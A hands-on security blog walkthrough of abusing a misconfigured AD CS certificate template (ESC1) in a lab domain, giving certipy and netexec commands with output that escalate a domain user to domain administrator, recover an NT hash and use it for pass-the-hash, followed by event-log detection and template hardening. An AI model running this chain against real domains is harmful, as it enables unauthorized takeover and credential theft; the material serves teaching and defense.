0
Hands-on Labs ADVANCED 14 min read Updated

Attacking AD CS: ESC1 Certificate Template Abuse in a Lab

A hands-on AD CS ESC1 walkthrough: find a vulnerable certificate template with certipy, request a certificate as a privileged user, then authenticate to recover a TGT and NT hash in a lab you own.

founder & security researcher · 39 writeups
Attacking AD CS: ESC1 Certificate Template Abuse in a Lab

AD CS ESC1 is the misconfiguration that turns a single certificate template into a straight line from a low privileged domain account to full domain compromise. The idea is simple once it clicks: Active Directory trusts certificates for logon, so if a weak template lets you ask for a certificate in someone else's name, the domain hands you that person's identity. This walkthrough builds the whole chain in a lab you own, from spotting the template with certipy to authenticating as a domain admin and pulling their NT hash.

Read it top to bottom the first time to understand why each step works, then keep it as a reference for your next internal assessment. Every command here runs against a lab CA at 10.10.10.2 inside the 10.10.10.0/24 range, never a production domain.

Scope

Run this only against an Active Directory forest you own or are explicitly authorized to test, such as a home lab or a client engagement with written permission. Requesting certificates for accounts you do not control on a live domain is unauthorized access and a crime.

01What AD CS is and why a certificate can equal authentication

Active Directory Certificate Services (AD CS) is the Microsoft public key infrastructure role, and understanding it is the groundwork for every AD CS ESC1 attack. An enterprise CA issues certificates to users and machines based on templates, which are reusable definitions that say who may enroll, what the certificate can be used for, and how its subject is decided. Domains lean on these certificates for smart card logon, VPN, Wi-Fi, and web services.

The piece that makes this offensive is PKINIT, the public key extension to Kerberos. With PKINIT, a client proves its identity to a domain controller using a certificate instead of a password. The domain controller reads the identity out of the certificate, usually from the Subject Alternative Name (SAN) field as a user principal name (UPN), checks that the certificate chains to a trusted CA, and issues a Kerberos ticket granting ticket (TGT) for that account. So a certificate is not just a credential, it is an assertion of identity that the domain accepts on sight.

That design is fine until a template lets the person asking for the certificate choose whose name goes in it. When the requester controls the SAN, the certificate stops proving who you are and starts proving whoever you typed. That gap is the whole game.

why a certificate is an identity the domain trusts
CertificateSAN: admin@lab PKINIT Domain controllerreads the name issue TGT as adminfull access

02The ESC1 misconfiguration: three conditions in one template

The ESC1 misconfiguration is a specific combination of settings on a single certificate template, named by SpecterOps in their "Certified Pre-Owned" research. On its own each setting is ordinary. Stacked together they let a low privileged account mint a client authentication certificate for any user in the domain. Three conditions have to line up.

ConditionWhat it means
Enrollee supplies the subjectThe template flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, so the requester, not the CA, fills in the subject and the SAN.
Client authentication EKUThe template grants an Extended Key Usage that allows logon: Client Authentication, Smart Card Logon, PKINIT Client Authentication, or Any Purpose.
Low privileged enrollmentA broad group such as Domain Users holds enroll rights, and the template needs no manager approval and no authorized signatures.

Put plainly: anyone in the domain can enroll, they get to write the name in the certificate, and the certificate is valid for logon. A standard user requests a certificate with the SAN set to [email protected], the CA signs it without question, and PKINIT then treats the holder as the administrator. There is no exploit code and no memory corruption. It is a logic flaw in how the template was configured.

Enrollee supplies subject is the pivot

Plenty of templates have a client authentication EKU and let Domain Users enroll, and that is normal. ESC1 only exists when the template also lets the requester supply the subject. That one flag is what lets you name someone else.

03Enumerating templates with certipy find

Enumerating certificate templates is how you discover whether an ESC1 template exists before you touch anything. Certipy queries LDAP on the domain controller and the CA configuration, then reports every template, who can enroll, and which known misconfigurations apply. You run it as any domain user, because the template definitions are readable across the domain.

bash
# 0xpriv.dev/labs  enumerate AD CS from a low-privileged account
certipy find -u '[email protected]' -p 'Spring2026!' \
  -dc-ip 10.10.10.5 -stdout -vulnerable

The -vulnerable flag filters the output to templates that match a known escalation path, and -stdout prints straight to the terminal instead of writing BloodHound and text files. Drop both flags to see the full inventory when you want the complete picture.

certipy flags an ESC1 template
$ certipy find -u '[email protected]' -p 'Spring2026!' -dc-ip 10.10.10.5 -stdout -vulnerable
Certificate Templates
  0
    Template Name                 : LabClientAuth
    Enabled                       : True
    Client Authentication         : True
    Enrollee Supplies Subject     : True
    Requires Manager Approval     : False
    Authorized Signatures Required: 0
    Enrollment Rights             : LAB.0XPRIV.DEV\Domain Users
    [!] Vulnerabilities
      ESC1 : Enrollee supplies subject and can request a client
             authentication certificate as any user

That block is the full fingerprint. Enrollee supplies subject is true, a client authentication EKU is present, manager approval is off, and Domain Users can enroll. Every ESC1 condition is satisfied by the template named LabClientAuth.

04Reading the find output to confirm ESC1

Reading the output carefully matters because certipy also reports templates that look risky but are not exploitable from where you stand. Walk the four lines that decide it. If any one of them is missing, the template is not ESC1, and chasing it wastes time on the engagement.

Enrollee Supplies Subject is True

Without this you cannot set the SAN, so you cannot name another user. This is the single most important line.

A client authentication EKU is present

Look for Client Authentication, Smart Card Logon, PKINIT Client Authentication, or Any Purpose. The certificate has to be usable for logon.

No manager approval and no signatures

Requires Manager Approval must be False and Authorized Signatures Required must be 0, or the request sits in a queue for a human.

You are in an enrollment group

Confirm your account, or a group you belong to, appears under Enrollment Rights. Domain Users covers almost everyone.

When all four hold, you have a working ESC1 path. Note the template name and the CA name from the find output, because you feed both into the request in the next step.

05Requesting a certificate as a target user with certipy req

Requesting the certificate is the step where you name your target. You call certipy req, point it at the enterprise CA, pick the vulnerable template, and set -upn to the user you want to become. Because the template lets the enrollee supply the subject, the CA writes your chosen UPN into the SAN and signs it.

bash
# request a client-auth certificate for the domain administrator
certipy req -u '[email protected]' -p 'Spring2026!' \
  -dc-ip 10.10.10.5 -target ca01.lab.0xpriv.dev \
  -ca 'LAB-CA01-CA' -template 'LabClientAuth' \
  -upn '[email protected]'
the CA issues a certificate in the admin's name
$ certipy req -u '[email protected]' -p 'Spring2026!' -dc-ip 10.10.10.5 -target ca01.lab.0xpriv.dev -ca 'LAB-CA01-CA' -template 'LabClientAuth' -upn '[email protected]'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 1337
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

You now hold administrator.pfx, a certificate and private key that the CA signed with the administrator's UPN inside it. The line "Certificate has no object SID" is worth noticing. On a fully patched domain that missing SID stops the cheap attack, which is covered in the defense section. On an unpatched lab it issues cleanly.

Pick a real logon account

The UPN you supply has to match an existing enabled account. Spelling the administrator UPN wrong gives you a valid certificate for nobody, which authenticates as nobody.

06Authenticating with the certificate using certipy auth and PKINIT

Authenticating with the certificate is where PKINIT turns that file into live access. Certipy sends the certificate to the domain controller as a Kerberos pre-authentication, receives a TGT for the account named in the SAN, and then uses that TGT to recover the account's NT hash through the UnPAC-the-hash technique. One command gives you both a usable ticket and a password hash.

bash
# exchange the certificate for a Kerberos TGT and the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
certificate to TGT to NT hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:7ac4727f16b8e4a2a3f8f3d3c0b2a6d1

The ticket cache lets you act as the administrator over Kerberos right away, and the NT hash lets you authenticate anywhere that accepts NTLM. From a standard user account you have reached domain administrator with three commands and no password cracking.

the full ESC1 chain
Low-priv userjdoe req Enterprise CAsigns SAN=admin pfx PKINIT authcertipy auth get TGT +NT hash

07Worked walkthrough against a lab CA on 10.10.10.0/24

This worked walkthrough ties the pieces together against a lab domain controller at 10.10.10.5 and an enterprise CA at 10.10.10.2, both inside 10.10.10.0/24. Start as jdoe, an ordinary Domain Users member with a known password, and finish holding the domain administrator's hash.

bash
# 1. confirm the CA is reachable and enumerate templates
certipy find -u '[email protected]' -p 'Spring2026!' -dc-ip 10.10.10.5 -stdout -vulnerable

# 2. request the certificate as the administrator
certipy req -u '[email protected]' -p 'Spring2026!' -dc-ip 10.10.10.5 \
  -target ca01.lab.0xpriv.dev -ca 'LAB-CA01-CA' -template 'LabClientAuth' \
  -upn '[email protected]'

# 3. authenticate and recover the TGT plus NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

With the hash in hand, validate the access the way you would on a real engagement. netexec takes the NT hash directly and confirms administrative rights on the domain controller, which is the clean proof that the chain worked end to end.

proving domain admin with the recovered hash
$ netexec smb 10.10.10.5 -u administrator -H 7ac4727f16b8e4a2a3f8f3d3c0b2a6d1
SMB  10.10.10.5  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.0xpriv.dev)
SMB  10.10.10.5  445  DC01  [+] lab.0xpriv.dev\administrator:7ac4727f16b8e4a2a3f8f3d3c0b2a6d1 (Pwn3d!)

The (Pwn3d!) marker means administrative access on that host. On a report this is the moment to stop and document, not to start changing the environment. You have proven the finding, which is the job.

08Using the TGT and NT hash from here

Using the recovered credentials follows the normal post compromise paths, and nothing new about ESC1 applies once you have them. The ccache is a standard Kerberos ticket, so you export it and let impacket or netexec use it for ticket based logon. The NT hash feeds pass the hash against any service that still accepts NTLM.

bash
# use the Kerberos ticket certipy saved
export KRB5CCNAME=administrator.ccache
netexec smb dc01.lab.0xpriv.dev -k --use-kcache

# or pass the recovered NT hash
netexec smb 10.10.10.5 -u administrator -H 7ac4727f16b8e4a2a3f8f3d3c0b2a6d1 --shares

Because the NT hash does not expire until the password changes, a domain administrator hash recovered this way keeps working long after the certificate itself is gone. That persistence is exactly why ESC1 rates as a critical finding rather than a minor template tidy up.

09Detecting ESC1 abuse in the logs

Detecting ESC1 abuse starts on the CA, because every request leaves a record there even when the attacker is quiet on the network. Two Windows events carry the signal. Event ID 4886 fires when Certificate Services receives a request, and event ID 4887 fires when it approves and issues one. Each event records the requester account and the certificate it issued.

The tell is a mismatch. In a healthy request the subject or SAN belongs to the same account that asked for the certificate. In an ESC1 request the requester is jdoe while the SAN inside the issued certificate is administrator. Correlate the requester in 4886 and 4887 against the SAN of the issued certificate, and a low privileged account enrolling a certificate for a privileged user stands out immediately.

reviewing issued certificates on the CA
PS> certutil -view -restrict "Disposition=20" -out "RequesterName,CertificateTemplate,SubjectAltName"
Requester Name : LAB\jdoe
Template       : LabClientAuth
Subject Alt    : [email protected]
-- requester jdoe, but the certificate names administrator --

Feed 4886 and 4887 into your SIEM and alert when the requester and the certificate subject belong to different privilege tiers. Watching the behaviour beats trying to match a tool signature, since certipy, Certify, and a hand built CSR all leave the same mismatched record.

10Shutting ESC1 down on a lab box

Shutting ESC1 down means breaking at least one of the three conditions, and the cleanest fix removes the enrollee supplied subject entirely. Work through these on the CA and in the certificate template console, then re-run certipy find to confirm the template no longer reports ESC1.

How to shut it down
Remove enrollee supplies subject. In the template's Subject Name tab, switch to "Build from this Active Directory information" so the CA, not the requester, sets the subject and SAN. This alone ends the attack.
Require manager approval. Turn on CA certificate manager approval for sensitive templates so a human reviews each request before a certificate is issued.
Restrict enrollment rights. Remove broad groups like Domain Users from the template's enroll permissions and grant them only to the accounts that genuinely need the certificate.
Enforce strong certificate mapping. Apply the KB5014754 guidance so domain controllers require the SID security extension in logon certificates, which stops a SAN-only certificate from mapping to another account.
powershell
# audit angle: list templates where the enrollee supplies the subject
# flag 0x1 is CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT on msPKI-Certificate-Name-Flag
Get-ADObject -SearchBase ("CN=Certificate Templates,CN=Public Key Services," +
  "CN=Services,CN=Configuration,DC=lab,DC=0xpriv,DC=dev") `
  -LDAPFilter '(objectClass=pKICertificateTemplate)' `
  -Properties msPKI-Certificate-Name-Flag |
  Where-Object { $_.'msPKI-Certificate-Name-Flag' -band 0x1 } |
  Select-Object Name

Strong certificate mapping is the backstop worth understanding. After the May 2022 updates and full enforcement, a domain controller will not map a certificate to an account by UPN alone unless the certificate carries that account's SID in a dedicated extension. Certipy reporting "Certificate has no object SID" earlier is the same control seen from the attacker's side. Fix the template first, then confirm strong mapping is enforced so a future weak template cannot be abused the easy way.

11FAQ

What is the difference between ESC1 and the other ESC techniques?FAQ

ESC1 is specifically a template that lets a low privileged enrollee supply the subject and request a client authentication certificate. The other numbered techniques from the same research cover different flaws, such as a dangerous EKU configuration, misconfigured enrollment agents, vulnerable CA access control, or NTLM relay to the CA web endpoints. ESC1 is usually the first one people learn because the chain is short and the impact is total.

Do I need to be a local administrator to run this attack?FAQ

No. The whole point of ESC1 is that an ordinary domain user with no special rights can do it, as long as that user or a group they belong to has enroll permission on the vulnerable template. You run certipy from any machine that can reach the domain controller and the CA over the network.

Why did certipy say the certificate has no object SID?FAQ

That line reports that the issued certificate does not contain the SID security extension that strong certificate mapping checks. On a domain that enforces the KB5014754 mapping, a certificate without the SID will not authenticate as the account named in the SAN, so the attack is blocked. On an unpatched or compatibility mode domain it still works, which is why the warning appears.

Can ESC1 be done without certipy?FAQ

Yes. Certify on Windows requests the certificate, and Rubeus performs the PKINIT authentication, so the same chain runs natively. You can also craft the request by hand with certreq and a custom INF file. Certipy simply wraps enumeration, request, and authentication into one cross platform tool, which is why it is the common choice from Linux.

How fast should the fix happen if I find ESC1?FAQ

Treat it as critical. A single vulnerable template is a direct path to domain administrator for any user on the network, so it belongs at the top of the remediation list. Removing the enrollee supplied subject setting on the template is a quick change and ends the attack immediately, which makes it a rare finding that is both high impact and easy to fix.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear